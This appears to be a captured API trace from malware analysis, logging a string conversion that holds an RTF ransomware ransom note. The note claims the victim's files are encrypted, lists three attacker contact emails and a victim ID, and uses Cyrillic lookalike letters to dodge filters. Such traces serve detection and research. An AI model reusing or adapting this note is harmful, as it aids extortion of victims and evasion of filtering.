\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x2763ff8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf 